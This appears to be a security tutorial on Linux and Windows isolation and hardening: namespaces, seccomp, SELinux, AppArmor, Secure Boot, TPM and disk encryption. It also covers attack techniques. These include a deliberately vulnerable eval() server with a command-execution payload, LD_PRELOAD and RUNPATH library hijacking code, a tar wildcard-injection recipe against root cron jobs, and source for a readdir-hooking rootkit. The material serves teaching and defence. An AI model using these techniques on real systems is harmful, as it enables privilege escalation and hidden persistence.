"The isolation comes from the fact that the kernel never resolves a global identifier directly: it always goes through the namespaces of the calling process. What is not in your table cannot be named, so cannot be reached." opus 4.8 (I couldn't have said it better)
User namespaces as a double-edged sword
The user namespace (the namespace of type "user", I say it because I struggled to understand at the beginning, here we talk about the namespace of type user, not of type pid for example) that we just saw is what makes rootless possible: a normal user becomes root inside, without any real privilege on the host. It is very handy, but it is also one of the biggest sources of vulnerabilities.
Inside the user namespace, you have real capabilities (CAP_SYS_ADMIN, CAP_NET_ADMIN, etc.), valid on the resources that belong to the namespace.
But a lot of kernel subsystems check if the user has CAP_SYS_ADMIN without asking in which namespace ?
Result, a non-privileged user can suddenly reach kernel code. This is exactly how several recent privesc happened (CVE-2022-0185, CVE-2023-0386).
And this type of namespace is originally the only one that a non-privileged user can create.
Debian forbids the creation of non-privileged userns (user namespace) :
We then keep the user namespaces for the container runtimes (started with privileges) while refusing them to a random user.
Cgroups
Cgroups allow to limit the resource consumption of processes. It is the second pillar of containers.
This is configured through /sys/fs/cgroup/ or directly in the docker-compose.
Be careful though, cgroups were also a container escape vector: in cgroup v1, the release_agent mechanism (a binary that the kernel runs as root on the host when a cgroup becomes empty) allowed several escapes when a container could write in the cgroup hierarchy (we talk about it again in "Escaping sandboxes"). This is not possible anymore in cgroup v2 with a correct configuration.
Seccomp
Where namespaces restrict what the process sees, seccomp restricts what the process can ask the kernel (it filters the syscalls). And the tool it uses for this task is bpf (berkeley packet filter); see my article on eBPF for the details.
It is used in particular for docker hardening, by default docker allows about 300 syscalls, but what we will do is start the process with strace to know the syscalls it needs and only allow those ones. This way if an attacker manages to manipulate the process, they will not really be able to do other actions than the planned and allowed ones.
# opus 4.8
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
def do_GET(self):
u = urlparse(self.path)
try:
if u.path == "/calc":
body = str(eval(parse_qs(u.query)["e"][0])) # is that a RCE ?!
else:
body = "hello"
self.send_response(200)
except Exception as e:
body = f"erreur: {e!r}"
self.send_response(500)
self.end_headers()
self.wfile.write((body + "\n").encode())
HTTPServer(("0.0.0.0", 8000), H).serve_forever()
FROM python:3.12-alpine AS app
WORKDIR /app
COPY app.py .
CMD ["python", "app.py"]
FROM app AS trace
RUN apk add --no-cache strace
$ docker run --rm -d --name open -p 8000:8000 demo:app
$ curl -sG localhost:8000/calc --data-urlencode "e=1+1"
2
$ curl -sG localhost:8000/calc --data-urlencode "e=__import__('os').popen('id').read()"
uid=0(root) gid=0(root) groups=0(root),...
$ docker run -d --name trace --cap-add SYS_PTRACE -p 8000:8000 -v "$PWD":/out demo:trace timeout 12 strace -f -o /out/trace.txt python app.py
$ curl -s localhost:8000/
$ curl -sG localhost:8000/calc --data-urlencode "e=1+1"
$ curl -sG localhost:8000/calc --data-urlencode "e=1/0"
$ docker kill trace && docker rm trace
$ head trace.txt
10 execve("/usr/local/bin/python", ["python", "app.py"], 0x7ffc0fa563c0 /* 7 vars */) = 0
10 arch_prctl(ARCH_SET_FS, 0x709ac28cab28) = 0
10 set_tid_address(0x709ac28caf90) = 10
10 brk(NULL) = 0x55d34a6ba000
10 brk(0x55d34a6bc000) = 0x55d34a6bc000
10 mmap(0x55d34a6ba000, 4096, PROT_NONE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x55d34a6ba000
10 readlink("/proc/self/exe", "/usr/local/bin/python3.12", 512) = 25
10 open("/usr/local/bin/../lib/libpython3.12.so.1.0", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
10 fcntl(3, F_SETFD, FD_CLOEXEC) = 0
10 fstat(3, {st_mode=S_IFREG|0755, st_size=7236576, ...}) = 0
$ sed -nE 's/^[0-9]+ +([a-z_0-9]+)\(.*/\1/p' trace.txt | sort -u > syscalls.txt
$ cat syscalls.txt
accept4
arch_prctl
bind
brk
close
epoll_create1
execve
fcntl
fstat
getcwd
...
profile.json :
{
"defaultAction": "SCMP_ACT_ERRNO",
"syscalls": [
{
"names": [
"accept4",
"access",
"arch_prctl",
"bind",
"brk",
"capget",
"capset",
"chdir",
"chmod",
"clock_gettime",
"clock_nanosleep",
"close",
"close_range",
"dup",
"dup2",
"dup3",
"epoll_create1",
"epoll_ctl",
"epoll_pwait",
"epoll_pwait2",
"epoll_wait",
"eventfd2",
"execve",
"exit",
"exit_group",
"faccessat",
"faccessat2",
"fchdir",
"fchmod",
"fchown",
"fcntl",
"fstat",
"fstatfs",
"futex",
"getcwd",
"getdents64",
"getegid",
"geteuid",
"getgid",
"getpeername",
"getpgrp",
"getpid",
"getppid",
"getrandom",
"getrlimit",
"getsockname",
"getsockopt",
"gettid",
"gettimeofday",
"getuid",
"ioctl",
"kill",
"listen",
"lseek",
"madvise",
"mkdir",
"mmap",
"mprotect",
"mremap",
"munmap",
"nanosleep",
"newfstatat",
"open",
"openat",
"openat2",
"pipe",
"pipe2",
"poll",
"prctl",
"pread64",
"prlimit64",
"pselect6",
"read",
"readlink",
"readlinkat",
"readv",
"recvfrom",
"rename",
"rseq",
"rt_sigaction",
"rt_sigprocmask",
"rt_sigreturn",
"sched_getaffinity",
"sched_yield",
"select",
"sendto",
"set_robust_list",
"set_tid_address",
"setgid",
"setgroups",
"setrlimit",
"setsockopt",
"setuid",
"shutdown",
"sigaltstack",
"socket",
"stat",
"statfs",
"statx",
"sysinfo",
"tgkill",
"umask",
"uname",
"unlink",
"unlinkat",
"wait4",
"write",
"writev"
],
"action": "SCMP_ACT_ALLOW"
}
]
}
docker run --rm --name test -p 8000:8000 --security-opt seccomp=$PWD/profile.json demo-seccomp-app
$ curl -sG localhost:8000/calc --data-urlencode "e=1+1"
2
$ curl -sG localhost:8000/calc --data-urlencode "e=__import__('os').popen('id').read()"
erreur: PermissionError(1, 'Operation not permitted')
$ curl -sG localhost:8000/calc --data-urlencode "e=__import__('socket').create_connection(('127.0.0.1',8000))"
erreur: PermissionError(1, 'Operation not permitted')
By default, a Linux process has no seccomp filter. It is the software itself, or its launcher, that decides to restrict itself. Browsers do it, or OpenSSH for example.
Linux Security Modules (LSM)
We already talked about DAC (Discretionary Access Control) with the rights linked to the file paths (rwx-), but on Unix there is also MAC (Mandatory Access Control): a global policy, defined by the administrator, applies on top and nobody can bypass it, not even root or the owner of the file.
This is made possible by Linux Security Modules (LSM). It is a set of hooks placed in the kernel, at the places where an access decision is made :
Path of the sys_open syscall :
LSM never gives more rights than the DAC, it can only restrict.
Actually LSM is a native Linux feature: the framework is compiled in the kernel, and we can see which modules are active in /sys/kernel/security/lsm :
The hooks are called in the order they are displayed, Capability is always there first, it is the base LSM. Then we see what the distro enabled: apparmor on Ubuntu, selinux on Fedora, yama almost everywhere.
Some LSMs are exclusive with each other (we cannot have SELinux and AppArmor active at the same time, they are two "major" MACs), others stack (yama, landlock, capability coexist).
So: Mandatory Access Control is the concept of rights management. LSM provides the hooks in the kernel that allow programs to implement MAC.
SELinux
SELinux works with the label carried by the process and the one carried by the object. The decision does not depend on the owner of the file anymore.
Contexts, types and type enforcement
Each process and each object (file, port, socket...) gets a label called context.
We can see it with the -Z option, available on most commands :
$ ls -Z /etc/shadow
system_u:object_r:shadow_t:s0 /etc/shadow
$ ps -eZ | grep sshd
system_u:system_r:sshd_t:s0 1234 ? sshd
$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0
A rule looks like this: "the sshd_t domain has the right to read the objects of type shadow_t"
We can query the current policy with sesearch: "what rights does the httpd_t domain have on the objects of type shadow_t"
type = label of an object.
domain = the name of the type when it is carried by a process.
This is important because the rules always go in the same direction: an actor acts on an object.
| What carries the label | Nature | Label | Called |
|---|---|---|---|
| systemd (running) | process | init_t | domain |
| /usr/sbin/sshd (the file on the disk) | object (file) | sshd_exec_t | type |
| sshd (once started) | process | sshd_t | domain |
Domains and transitions
Without a rule, a child process keeps the domain of its parent. This is dangerous because the processes that start the services are themselves very privileged: systemd runs in init_t, a wide domain. If everything systemd starts stayed in init_t, then sshd, the web server, the database would run in the same domain.
So we use the "type_transition" rules. The child does not inherit the domain of the parent, it switches to a new domain decided by the type of the executed binary.
The mechanism: the binary carries an "entrypoint" type, and the policy declares the transition.
When a process of the "init_t" domain starts a child process of type "sshd_exec_t", this one takes the sshd_t domain.Enforcing vs permissive
SELinux has three states: ("getenforce" to see them)
-
enforcing : the policy is applied, violations are blocked and logged
-
permissive : violations are only logged; allows to test a policy (we collect all the denials that would have happened, then we complete the policy before going back to enforcing.)
-
disabled : off
AppArmor
AppArmor does the same job as SELinux but works with the file path, not with a label.
It is simpler to write and to read, but more fragile.
Profiles and path rules
One profile = one program. They are in /etc/apparmor.d/ and list the allowed paths + the permissions.
See the loaded profiles and their mode :
$ aa-status
apparmor module is loaded.
165 profiles are loaded.
64 profiles are in enforce mode.
/usr/bin/evince
/usr/bin/evince-previewer
/usr/bin/man
...
A profile looks like this :
/usr/bin/myapp {
/etc/myapp/** r, # read its conf
/var/log/myapp.log w, # write its logs
/bin/ls ix, # can execute ls, which stays confined by the profile of myapp
/bin/cat px, # can execute cat with its own profile
/bin/echo ux, # can start echo without confinement (danger)
}
# what is not listed is forbidden
Two modes :
-
complain : violations are only logged
-
enforce : rules are applied and violations are blocked
Bypassing AppArmor
There are generic configuration problems (ux, path too wide /*) etc...
But the real limit of AppArmor is structural: it filters the path, not the inode.
The inode is the kernel object that really represents the file (its metadata, its data blocks). The path is only a directory entry that points to an inode, and several paths can point to the same inode :
SELinux labels the inode, so no matter the path, the label follows.Be careful, this does not mean that path traversal works. If the profile allows /var/log/ w, can we do echo "aaa" > /var/log/../../etc/passwd ? No: AppArmor canonicalizes the path before matching it (it resolves the .. and the symbolic links to get the real absolute path, then compares). /var/log/../../etc/passwd becomes /etc/passwd, which does not match the rule, so it is refused.
The real bypass is to create another legit canonical path to the target file, a path that the profile covers without wanting to.
Let's take a monitoring agent, confined by AppArmor. It runs as root (so AppArmor is really there to restrict it), and its profile only gives it one read right, on its own metrics folder :
The rule that causes a problem :
The agent gets compromised (command execution). It wants to read /etc/shadow. Directly, it is refused, because this path is not in the profile :
What the attacker does: they create a second path to /etc/shadow, inside the allowed folder.
Except that this attack does not work in practice (sorry for the disappointment), thanks to the link subset rule. AppArmor intercepts the creation of the link itself, and it refuses to create a hard link if the target is not already accessible by the profile with at least the same rights as the link.
Still, it stays less solid than SELinux (the option can be disabled, the profile too wide etc...)
Landlock
Landlock is a more recent LSM, designed specifically for non-privileged sandboxing. Unlike SELinux and AppArmor which need an administrator configuration, Landlock allows a program to restrict itself and declare that it will never again be able to access anything other than "/home/user/project" in read, and nothing in write.
Bubblewrap, Flatpak, Snap confinement
So far we saw the building blocks. Application sandboxes are only tools that assemble these blocks to confine a desktop app, exactly like Docker assembles them for a container.
Bubblewrap (bwrap) creates the namespaces, mounts a minimal view of the system (read-only), and starts the program inside :
$ mkdir test
$ echo "aaaa" > test/hello.txt
$ bwrap --ro-bind /usr /usr --symlink usr/bin /bin --symlink usr/lib /lib --symlink usr/lib64 /lib64 --ro-bind test test --unshare-all /bin/sh
$ ls
bin lib lib64 test usr
$ cd test
$ ls
hello.txt
$ cat hello.txt
aaaa
$ ls -la
total 8
drwxr-xr-x 2 153194987 153000513 4096 Sep 25 18:25 .
drwxr-xr-x 4 153194987 153000513 140 Sep 25 18:29 ..
-rw-r--r-- 1 153194987 153000513 5 Sep 25 18:25 hello.txt
$ echo "b" > hello.txt
/bin/sh: 6: cannot create hello.txt: Read-only file system
Flatpak relies on bwrap to package graphical apps (with a portal system to filter the requests of the app to access resources outside the sandbox).
Snap does the same thing but relies on AppArmor for access control (it is used by Ubuntu).
These three mostly confine non-privileged desktop software, where Docker targets services, but it is an assembly of the same primitives.
Summary diagram (opus 4.8)
The kernel primitives, each one answering a question :
| Primitive | The question (the concept) | Detail |
|---|---|---|
| Namespaces | What does the process see ? | pid, mnt, net, user, uts, ipc, cgroup |
| Seccomp | What can it ask the kernel ? | filters the syscalls (via BPF) |
| LSM | What is it allowed to do ? | SELinux, AppArmor, Landlock, Yama |
| Cgroups | How many resources can it consume ? | cpu, memory, pids, I/O |
The tools only assemble these primitives :
| Tool | Target | Assembled primitives |
|---|---|---|
| Docker / Podman / LXC | services, containers | namespaces + cgroups + seccomp + LSM |
| bwrap / Flatpak / Snap | desktop apps | namespaces + seccomp + LSM (Landlock) |
Windows sandboxing: AppContainer, Windows Sandbox, job objects
On the Windows side we find the same ideas, with three mechanisms of different levels.
AppContainer is the identity with reduced privileges. It is based on a special token :
-
a Low integrity level (the MIC seen in the Windows chapter), so no write to Medium/High objects
-
an AppContainer SID unique for each app, which isolates the apps from each other
-
capabilities like Android permissions (network, microphone, Documents folder...). Without the capability, the access is refused even if the DACL would allow it.
Windows Sandbox is at a completely different level: a disposable environment backed by a VM (Hyper-V). We start a suspicious software in it, we close the window, everything is destroyed. It is the strongest isolation (a real VM boundary, like the VTL of Credential Guard) but the heaviest.
Job objects group processes to apply limits to them: memory, CPU, no creation of child processes, interface restrictions. It is the closest Windows equivalent to cgroups, with a few security restrictions on top.
Boot, Firmware and Disk Encryption
Rings, MMU, IOMMU, LSM, PatchGuard is set up by the kernel. But who checks the kernel?
Before the OS starts, several programs run one after another, each with full control of the machine. If one of them is malicious, every protection of the OS is built on a compromised base.
The boot chain (firmware, bootloader, kernel, init)
At power on, the CPU executes the firmware stored in a flash chip on the motherboard (UEFI today, BIOS in the past). No OS, no privilege policy, no isolation yet: the firmware has total control.
The chain on a modern Linux:
UEFI firmware (flash chip)
=> bootloader in the EFI System Partition (shim + GRUB, or systemd-boot)
=> kernel + initramfs
=> init (systemd, PID 1)
=> services, user session
On Windows:
UEFI
=> bootmgfw.efi
=> winload.efi
=> ntoskrnl.exe + boot drivers
=> smss.exe
=> wininit / winlogon
The bootloader lives in a small FAT32 partition that the firmware can read, the EFI System Partition (ESP):
$ ls /boot/efi/EFI/
BOOT ubuntu
$ ls /boot/efi/EFI/ubuntu/
BOOTX64.CSV grub.cfg grubx64.efi mmx64.efi shimx64.efi
The firmware keeps the list of boot entries in its NVRAM:
$ efibootmgr -v
BootCurrent: 0004
Timeout: 2 seconds
BootOrder: 0004,0006,0001,0000
Boot0004* Ubuntu [...]
Each stage runs before the protections of the next one exist, and it is the one that loads the next one into memory. A modified bootloader can patch the kernel in memory before starting it and disable its checks, and the kernel will never know.
So each stage has to verify the next one before giving it the hand.
Verified and measured boot
Two complementary approaches:
-
verified boot (Secure Boot) : each stage checks the signature of the next one and refuses to run it if it is invalid.
-
measured boot (TPM) : each stage computes a hash of the next one and records it in a chip. It keeps a proof that can be checked later.
UEFI and Secure Boot
The firmware holds signature databases in its NVRAM:
-
Platform Key : the key of the manufacturer, allowed to update the KEK
-
Key Exchange Key : keys allowed to update db and dbx (Microsoft's among others)
-
db : certificates and hashes of allowed bootloaders
-
dbx : revocation list, forbidden even if signed
When Secure Boot is on, the firmware only runs a bootloader signed by a certificate in db and not listed in dbx.
Almost every PC ships with microsoft certificates in db. So Linux boot through shim: a small bootloader signed by Microsoft, which contains the distro own key and in turn verifies GRUB and the kernel.
Measured boot and the TPM
Trusted Platform Module is a small chip, or a firmware implementation inside the CPU with registers called Platform Configuration Registers.
A PCR can only be extended:
It is set to 0 at power on. The final value is a fingerprint of the whole sequence.
Each stage measures the next one before running it:
firmware => its own code and config => PCR0, PCR1
=> the bootloader => PCR4
=> the Secure Boot state and keys => PCR7
GRUB => the kernel command line => PCR8
=> the kernel and initramfs files => PCR9
Measured boot stops nothing but it changes PCR4, and two mechanisms rely on these values :
Sealing: the TPM can keep a secret and only give it back if the PCRs have the expected values. This is how BitLocker unlocks the disk without a password: the disk key is sealed in the TPM with the expected PCR values. On a normal boot the PCRs match, so the TPM hands the key over automatically. If the boot chain was modified, the PCRs differ, the TPM refuses, and the disk stays encrypted (BitLocker then asks for the recovery key). opus 4.8
Attestation: the TPM signs its PCR values with a key that never leaves the chip (a "quote") and sends them to a remote server, which checks that the machine booted a known chain before giving it access (network, secrets).
Disk and file encryption
All the permissions on files are enforced by the running OS. But if someone boots another OS or plugs the disk into another machine, nobody checks them anymore: the files are just bytes on a disk.
That's why we encrypt the disk.
LUKS/dm-crypt and BitLocker
On Linux, dm-crypt is the kernel layer that encrypts the disk, transparently for the filesystem above. The encryption used is AES (see the article on crypto) in XTS mode of operation (each data block is encrypted independently, which allows to modify a file without having to rewrite the whole disk).
The disk is not encrypted with your password. It is encrypted with a random master key, and the header stores that master key several times, each copy encrypted by a different "keyslot" (passphrase, TPM, recovery key):
BitLocker uses the same model with other names: the disk is encrypted by the FVEK (Full Volume Encryption Key), itself protected by the VMK (Volume Master Key), itself protected by one or more protectors:
TMP only
And with TPM only (the default on most laptops), the disk unlocks by itself at boot, before the login screen: the TPM hands over the key without any secret from the user. The session password only protects the Windows session, not the disk.
That is a big weakness. A thief who steals the whole laptop just turns it on: the disk is already decrypted, the key is in RAM, and the only barrier left is the running OS. They no longer have to break the encryption, only to attack Windows (DMA, cold boot, TPM sniffing, a login bypass bug).
Encrypting File System (windows)
Encrypting File System encrypts individual files on NTFS, per user.
The key is tied to the user's account (a certificate protected by their password). Another user, even an administrator who has read rights through the DACL, only gets ciphertext.
The Linux equivalent is fscrypt (used by Android for per-user storage).
Attacks on disk encryption
The algorithm (AES) is not attacked. The target is the key, at the moments when it exists outside the disk.
Cold boot: RAM does not lose its content instantly at power off, it fades over seconds (minutes if the chips are cooled). The attacker cuts the power of a running or sleeping laptop, reboots it on their own tool and dumps the RAM, where the key is. The (quite funny) videos of a demo of this attack : https://www.youtube.com/watch?v=XfUlRsE3ymQ + https://www.youtube.com/watch?v=E6gzVVjW4yY
Evil maid: the attacker has physical access twice. The first time, they replace the bootloader (the ESP and /boot are not encrypted, the firmware must be able to read them) by one that records the passphrase. The second time, they come back to get it. Secure Boot fix this.
Works with an already unlocked disk :
DMA: on a running or locked machine, a device plugged into a Thunderbolt port reads the key directly in RAM (see DMA attacks in the hardware chapter). IOMMU prevent it.
TPM sniffing: with TPM only, the VMK travels in clear on the bus between a discrete TPM chip and the CPU. With a logic analyzer plugged on the motherboard, it can be captured in a few minutes. TPM + PIN, or a firmware TPM inside the CPU (no external bus), removes this. opus 4.8
Below-the-OS threats
Malware that installs itself below the OS gets two things an ordinary malware does not have.
-
It runs first, so it sees and can disable every defense that starts after it (antivirus, the LSM, even the kernel checks).
-
It survives what usually cleans a machine: a reinstall rewrites the OS partition, but not the firmware nor, sometimes, the bootloader.
A bootkit lives in the boot chain (bootloader, ESP).
A firmware implant lives in the flash chip of the motherboard.
Bootkits and firmware implants
A bootkit replace/hooks a stage of the boot chain, then loads the real OS so the user sees nothing. Since it is in control before the kernel, it can patch the kernel in memory and turn off its protections.
For example BlackLotus (2023) is a UEFI bootkit that runs even with Secure Boot on, by abusing an old signed and still-trusted Microsoft bootloader. It disables BitLocker, HVCI and Defender from the boot stage. This is a case that also happened on Linux: BootHole (2020) was a buffer overflow in GRUB's config parser: GRUB is signed, its grub.cfg is not, so a crafted config gives code execution inside a trusted stage.
A firmware implant lives in the SPI flash chip that holds the UEFI. It survives a disk wipe and even a disk swap, because it is not on the disk. LoJax (2018) was the first UEFI implant seen in the wild, planted in this flash. Only reflashing the chip removes it.
Secure Boot bypasse
-
Exploit a vulnerable signed component (Blacklotus case). Dbx is rarely updated by the vendors (an outdated firmware still trusts the old bootloader). Revocation is the weakness.
-
Misconfigured keys: Secure Boot left off, or a machine that shipped with test keys, or the firmware left in setup mode where anyone can enroll a key. Then a malicious bootloader is simply added to db.
Hijacking Execution: Libraries, Services, Persistence and Rootkits
Library hijacking
A program rarely contains all its code. At runtime it loads shared libraries by name (libc.so.6, KERNEL32.dll...), and it is the dynamic loader that decides which file on disk that name resolves to, by searching a list of directories in order.
The whole attack class is there: if an attacker gets their file found before the real one, their code runs inside the victim process, with its privileges.
The dynamic loader and search order
On Linux, the loader is ld.so. The ldd tool simulates loading a binary and answers the question "if I ran this program right now, which library file would each dependency resolve to ?" :
ldd /bin/ls
linux-vdso.so.1 (0x000074aa4ce0f000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x000074aa4cda2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x000074aa4ca00000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x000074aa4cd08000)
/lib64/ld-linux-x86-64.so.2 (0x000074aa4ce11000)
# libc.so.6 : The loader searched in the search order and found the real file.
# linux-vdso.so.1 : No file on the disk: it is the VDSO, a small lib that the kernel injects directly in memory in each process.
# ld-linux-x86-64.so.2 : It is the loader itself. Its path is hardcoded in the binary.
# The hex values are the virtual addresses where the libs were loaded (it changes because of ASLR)
Dynamic loading follows this search order (first match wins):
# opus 4.8
LD_PRELOAD environment variable: list of .so to load BEFORE
all the others. Made for debug/instrumentation,
it is also the first lever for hijacking.
RPATH search paths hardcoded IN the binary at
compile time (DT_RPATH field of the ELF). Old mechanism,
cannot be overridden by LD_LIBRARY_PATH (that's why it is before).
LD_LIBRARY_PATH environment variable: list of folders to search
first. The equivalent of PATH, but for libraries.
RUNPATH same idea as RPATH (paths in the binary, DT_RUNPATH field),
but the modern version: it COMES AFTER LD_LIBRARY_PATH.
If a binary has a RUNPATH, its RPATH is ignored.
/etc/ld.so.cache a pre-computed cache (generated by ldconfig) that lists all
the libs of the standard system folders. It is the normal way
to find libc & co, without going through the folders each time.
/lib, /usr/lib the default system folders, searched as a last resort
if the lib was not in the cache.
On Windows the loader is in ntdll.dll, and the default order is :
the .exe folder the folder where the started executable is. This is THE
sensitive point: if a user can write in it (app installed
in a badly protected folder), they drop their DLL and win.
System32 C:\Windows\System32, where the real system DLLs live
(kernel32.dll, etc.). Normally not writable by a user.
Windows C:\Windows itself, historical system folder.
the current folder the working directory of the process at loading time
(the "cwd"), not the one of the .exe. Often controllable by
the attacker (ex: a shared folder, a download folder).
the %PATH% folders searched last, like on Linux with the PATH. A
writable folder placed early in the %PATH% is a vector.
Linux: LD_PRELOAD, RPATH, RUNPATH abuse
LD_PRELOAD forces a library to load before all others, so its functions override the real ones :
$ gcc -shared -fPIC fake_lib.c -o fake_lib.so
$ cat fake_lib.c
#include <stdio.h>
__attribute__((constructor))
void init(void) { printf("[injected code running in the target]\n"); }
LD_PRELOAD=./fake_lib.so id
[injected code running in the target]
uid=1000(nohor) etc...
The id binary ran our code without knowing it. Override a real function (say getuid) instead of a constructor, and you change what the program believes :
$ cat fake_getuid.c
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/types.h>
uid_t getuid(void) { return 0; }
uid_t geteuid(void) { return 0; }
$ gcc -shared -fPIC fake_getuid.c -o fake_getuid.so
$ LD_PRELOAD=./fake_getuid.so id
uid=0(root) etc...
RPATH / RUNPATH are search paths baked inside the binary. If one points to a directory you can write to, you drop a matching .so there:
$ gcc -shared -fPIC libgreet.c -o libgreet.so
$ gcc target.c -o target -L. -lgreet -Wl,-rpath,'$ORIGIN/plugins'
$ mkdir plugins && cp libgreet.so plugins/
$ ./target
hello from the legit library
$ readelf -d target | grep -E 'RPATH|RUNPATH'
0x000000000000001d (RUNPATH) Library runpath: [$ORIGIN/plugins:/nix/store/pdwlyjkmc6icc0wb5gaw08m9ynqrg683-glibc-2.40-218/lib:/nix/store/1xw5xccqqh1xw3mvd70hyil6x418wxcm-gcc-14.3.0-lib/lib]
// evil.c
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
printf("[!] evil lib loaded — uid=%d, running as target\n", getuid());
}
void hello(void) { printf("[!] hello() hijacked\n"); }
$ gcc -shared -fPIC evil.c -o evil.so
$ cp evil.so plugins/libgreet.so
$ ./target
[!] evil lib loaded — uid=1000, running as target
[!] hello() hijacked
The danger doesn’t come from the RPATH alone, or from the plugins/ directory alone, but from the combination of the two. The RUNPATH ($ORIGIN/plugins here) is embedded directly in the binary’s ELF metadata. It basically tells the dynamic loader, “when you’re looking for a missing library, check this directory before the system paths.”
That makes it a property of the binary, not the environment. Unlike LD_PRELOAD, it isn’t filtered when the binary runs (except in cases like setuid), and it stays there no matter who runs ./target or what the current working directory is.
The exploit itself is basically one line: as soon as someone can drop a file named libgreet.so into plugins/, it can replace the legitimate library. The loader resolves the binary’s needed entry for libgreet.so by the filename. It doesn’t verify the library’s identity, signature, or hash.
Why it is neutered for SUID: when a binary is setuid (or has capabilities), the loader enters secure-execution mode and ignores LD_PRELOAD, LD_LIBRARY_PATH and RUNPATH pointing to insecure paths. Otherwise every setuid-root binary would be a root shell.
Windows: DLL search-order and phantom-DLL hijacking
Same idea, three common variants :
Search-order hijacking: a program loads mysuparrrdll.dll by name; if the attacker drops a mysuparrrdll.dll in a directory searched earlier it is loaded instead of the real one.
Phantom DLL: the program tries to load a DLL that does not exist on the system (a leftover reference). Nobody provides it, so whatever the attacker drops at that path is loaded.
Side-loading: a legitimate, signed .exe loads a DLL from its own directory. Copy that trusted .exe to a folder you control, drop a malicious DLL of the same name next to it, and your code runs under the reputation of the signed binary (a classic way to look legitimate to an EDR).
Detection and protection
-
We can compile critical binaries statically (Go does it by default).
-
On linux: never put a writable or relative directory in RPATH/RUNPATH.
-
Windows: call SetDefaultDllDirectories / use safe DLL search mode so the current directory is dropped, ship DLLs in a locked system directory, and enforce signed libraries.
On Windows, Sysmon Event ID 7 (Image Loaded) flags a signed process loading an unsigned DLL from an odd path.
Services and scheduled execution
If you can influence what a root service or a scheduled job runs, you get its privileges.
systemd service
A systemd service is a unit file describing what to run and as whom:
systemd also carries security directives based on the primitives from the sandbox chapter :
NoNewPrivileges=yes # no setuid/gain of privilege
ProtectSystem=strict # most of the FS read-only
PrivateTmp=yes # its own /tmp
$ find /etc/systemd/system -writable -type f 2>/dev/null
/etc/systemd/system/myapp.service # you can rewrite ExecStart so you are root
You can score how confined a service is:
$ systemd-analyze security docker.service
NAME DESCRIPTION EXPOSURE
✗ RootDirectory=/RootImage= Service runs within the host's root directory 0.1
SupplementaryGroups= Service runs as root, option does not matter
RemoveIPC= Service runs as root, option does not apply
✗ User=/DynamicUser= Service runs as root user 0.4
✗ CapabilityBoundingSet=~CAP_SYS_TIME Service processes may change the system clock 0.2
✗ NoNewPrivileges= Service processes may acquire new privileges 0.2
✓ AmbientCapabilities= Service process does not receive ambient capabilities
✗ PrivateDevices= Service potentially has access to hardware devices 0.2
[...]
✗ SystemCallFilter=~@privileged Service does not filter system calls 0.2
✗ SystemCallFilter=~@raw-io Service does not filter system calls 0.2
✗ SystemCallFilter=~@reboot Service does not filter system calls 0.2
✗ SystemCallFilter=~@resources Service does not filter system calls 0.2
✗ SystemCallFilter=~@swap Service does not filter system calls 0.2
✗ IPAddressDeny= Service does not define an IP address allow list 0.2
✓ NotifyAccess= Service child processes cannot alter service state
✗ UMask= Files created by service are world-readable by default 0.1
→ Overall exposure level for docker.service: 9.6 UNSAFE 😨
On the other hand, some are not very privileged :
$ systemd-analyze security systemd-timesyncd.service
[...]
→ Overall exposure level for systemd-timesyncd.service: 2.1 OK 🙂
cron and at
cron runs jobs on a schedule. What matters for security is who can edit the job file and the script it calls:
$ cat /etc/cron.d/backup
*/5 * * * * root /opt/scripts/backup.sh
$ ls -l /opt/scripts/backup.sh
-rwxrwxrwx 1 root root ... /opt/scripts/backup.sh
Wildcard injection: a root cron job that does tar czf backup.tar.gz * in a directory you can write to. tar treats filenames starting with - as options, so you plant files that become arguments:
$ echo 'id > /tmp/pwned' > shell.sh
$ touch -- '--checkpoint=1'
$ touch -- '--checkpoint-action=exec=sh shell.sh'
# next time the root cron runs tar *, it executes shell.sh as root
PATH abuse: a root script calls a command by name (backup instead of /usr/bin/backup) with a PATH that includes a writable dir first.
Service config and Scheduled Tasks
On Windows, a service is defined in the registry and managed by the SCM. sc qc shows its binary and account:
C:\> sc qc VulnSvc
BINARY_PATH_NAME : C:\Program Files\Vuln\service.exe
SERVICE_START_NAME : LocalSystem <= runs as SYSTEM
Scheduled Tasks are the Task Scheduler equivalent of cron:
The same risks applies as for Linux :
Unquoted service path: if BINARY_PATH_NAME is C:\Program Files\Vuln\service.exe without quotes, Windows tries C:\Program.exe, then C:\Program Files\Vuln\service.exe. If you can write to C:\, drop C:\Program.exe to gain privesc.
Weak service DACL: if a normal user can reconfigure the service, they just point it at their own binary. This is the same object-descriptor problem as in the Windows permissions chapter, applied to a service:
Writable service binary: even without config rights, if the .exe itself is writable, replace it and restart the service.
Persistence rootkits and stealth
Of course, there are the obvious methods (SSH keys, scheduled tasks/cron jobs), but we will focus primarily on slightly more advanced techniques for maintaining persistence on a system while remaining undetected.
A rootkit's job is not to get in, it is to hide once it is in: files, processes, network connections, the rootkit itself. The technique depends on who it lies to.
User-space rootkits
These lie to applications, without touching the kernel. They are the easiest to deploy and the easiest to detect.
API/function hooking and artifact hiding
Sit between the application and the function it calls, and filter the answer. On Linux, a global LD_PRELOAD library can override function so the real one lists a directory, the hook removes the attacker files from the list before returning it.
app calls readdir => rootkit readdir => real readdir
"rootkit removes is related entries"
app calls readdir <= rootkit readdir
$ cat aVeryBadRootKit.c
// opus 4.8
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
static const char *HIDDEN = "evil";
static int hidden(const char *n) { return strcmp(n, HIDDEN) == 0; }
struct dirent *readdir(DIR *dirp) {
static struct dirent *(*real)(DIR *) = NULL;
if (!real) real = dlsym(RTLD_NEXT, "readdir");
struct dirent *e;
while ((e = real(dirp)) != NULL)
if (!hidden(e->d_name)) return e;
return NULL;
}
$ gcc -shared -fPIC -o aVeryBadRootKit.so aVeryBadRootKit.c -ldl
$ LD_PRELOAD=$PWD/aVeryBadRootKit.so ls
aVeryBadRootKit.c aVeryBadRootKit.so
